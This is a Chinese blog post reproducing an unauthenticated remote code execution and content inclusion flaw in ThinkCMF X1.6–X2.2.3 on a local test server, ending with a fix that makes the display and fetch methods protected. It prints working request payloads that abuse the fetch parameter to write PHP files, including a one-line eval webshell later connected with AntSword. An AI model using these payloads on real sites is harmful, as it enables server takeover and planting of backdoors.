ThinkCMF 框架上的任意内容包含漏洞

0x01  背景

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

官网:http://www.thinkcmf.com

0x02  印象版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
 

0x03 漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码

0x04 漏洞复现

1) 这里我用的是ThinkCMF x2.2.3版本 

下载thinkcmf

ThinkCMF 框架上的任意内容包含漏洞_第1张图片

把他移到网站后直接放到phpstudy的目录下,访问路径/ThinkCMFX/

ThinkCMF 框架上的任意内容包含漏洞_第2张图片

 

2)安装向导 看自己真实情况填写!!! 我这边 数据库连接密码是root

ThinkCMF 框架上的任意内容包含漏洞_第3张图片

 

ThinkCMF 框架上的任意内容包含漏洞_第4张图片

 

ThinkCMF 框架上的任意内容包含漏洞_第5张图片

3)测试POC  通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件
phpinfo版payload如下:

http://192.168.115.21/thinkcmf/?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%27test.php%27,%27%3C?php%20phpinfo();%20?%3E%27)%3C/php%3E

执行payload,页面是空白的

ThinkCMF 框架上的任意内容包含漏洞_第6张图片

访问test.php 文件

http://192.168.115.21/thinkcmf/test.php

ThinkCMF 框架上的任意内容包含漏洞_第7张图片4)  构造poc2  通过构造a参数的display方法,实现任意内容包含漏洞

payload:

?a=display&templateFile=README.md


通过文件包含可以访问到之前写的test.php文件

ThinkCMF 框架上的任意内容包含漏洞_第8张图片

5)查看之前写入的test.php文件

ThinkCMF 框架上的任意内容包含漏洞_第9张图片

6) 写入一句话木马文件 

http://192.168.115.21/thinkcmf/?a=fetch&templateFile=public/index&prefix=%27%27&content=%3Cphp%3Efile_put_contents(%27shell.php%27,%27%3C?php%20eval($_POST[%22pass%22]);?%3E%27)%3C/php%3E

ThinkCMF 框架上的任意内容包含漏洞_第10张图片

7) 蚂蚁测试链接 

ThinkCMF 框架上的任意内容包含漏洞_第11张图片

ThinkCMF 框架上的任意内容包含漏洞_第12张图片

ThinkCMF 框架上的任意内容包含漏洞_第13张图片

 

0x05 漏洞修复建议

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

 

参考链接:

https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0

你可能感兴趣的:(web安全,漏洞复现)